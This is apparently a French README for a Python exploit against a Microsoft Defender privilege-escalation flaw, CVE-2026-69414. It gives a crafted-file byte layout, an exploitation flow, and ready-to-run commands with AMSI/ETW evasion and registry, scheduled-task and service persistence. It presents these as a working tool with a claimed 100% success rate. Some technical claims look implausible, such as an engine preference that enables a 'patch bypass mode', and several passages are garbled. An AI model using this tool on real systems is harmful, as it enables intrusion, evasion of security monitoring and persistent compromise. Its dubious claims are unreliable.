
Preuve de concept en Python pour CVE-2026-69414, une élévation de privilèges par confusion de type dans le moteur de protection contre les logiciels malveillants de Microsoft, avec contournement d'AMSI/ETW et options de persistance.
CVE-2026-69414 est une vulnérabilité d'élévation de privilèges dans le moteur de protection contre les programmes malveillants de Microsoft (faisant partie de Windows Defender / Microsoft Defender Antivirus), publiquement désignée sous le nom de « RoguePlanet ». Elle constitue un contournement de correctif de la vulnérabilité d'origine CVE-2026-50656.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-69414 |
| Type | Élévation de privilèges (EoP) |
| CVSS v3.1 (MSRC) | 7.8 (ÉLEVÉE) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 (NVD) | 7.0 (ÉLEVÉE) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vecteur d'attaque | Local |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Portée | Inchangée |
| Version corrigée | Moteur 1.1.26080.3 |
| CVE d'origine | CVE-2026-50656 |
Le moteur de protection contre les programmes malveillants de Microsoft contient une vulnérabilité de confusion de types dans sa logique de traitement des demandes d'analyse. Lors du traitement d'un en-tête de fichier ou d'une structure de données d'analyse spécialement conçus, le moteur interprète incorrectement le type d'une région mémoire, ce qui conduit à une opération de lecture/écriture hors limites.
La vulnérabilité réside dans la structure interne de contexte d'analyse du moteur, plus précisément dans la manière dont le champ type est validé par rapport au type attendu pour l'opération d'analyse en cours. Lorsqu'un fichier doté d'un en-tête spécialement conçu est analysé :
type de l'en-tête (octet 4)0x7F, un chemin de code non géré est déclenchésize offset (octets 5-8)Le correctif d'origine pour CVE-2026-50656 tentait de valider le champ de type par rapport à une liste blanche de types connus. Cependant, le correctif n'a pas correctement validé le champ de type dans tous les chemins de code — plus précisément dans le gestionnaire d'analyse asynchrone (MpAsynchronousScan), qui utilise un chemin de code différent de celui de l'analyseur synchrone.
L'exploit tire parti de cette lacune en :
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE pour activer le contournement┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32 (pour la méthode basée sur COM) : pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| Option | Description |
|---|---|
--cmd CMD | Commande à exécuter en cas de succès |
--target PATH | Chemin vers le fichier généré (auto-généré si omis) |
--analyze | Analyser uniquement la structure du fichier généré |
--detect | Détecter les propriétés du système cible |
--method METHOD | Méthode d'exploitation (com, direct-api, shellcode, fallback) |
--multi-stage | Utiliser un exploit multi-étapes |
--no-amsi | Désactiver le contournement d'AMSI |
--no-etw | Désactiver le contournement d'ETW |
--persist | Ajouter la persistance (registry, scheduled-task, service, all) |
--verbose | Activer la sortie détaillée |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
Le PoC a été testé sur Windows 11 25H2 Canary et Windows Server 2025 avec un taux de réussite rapporté de 100 %. Windows 10 est considéré comme vulnérable mais n'a pas été testé dans cette implémentation.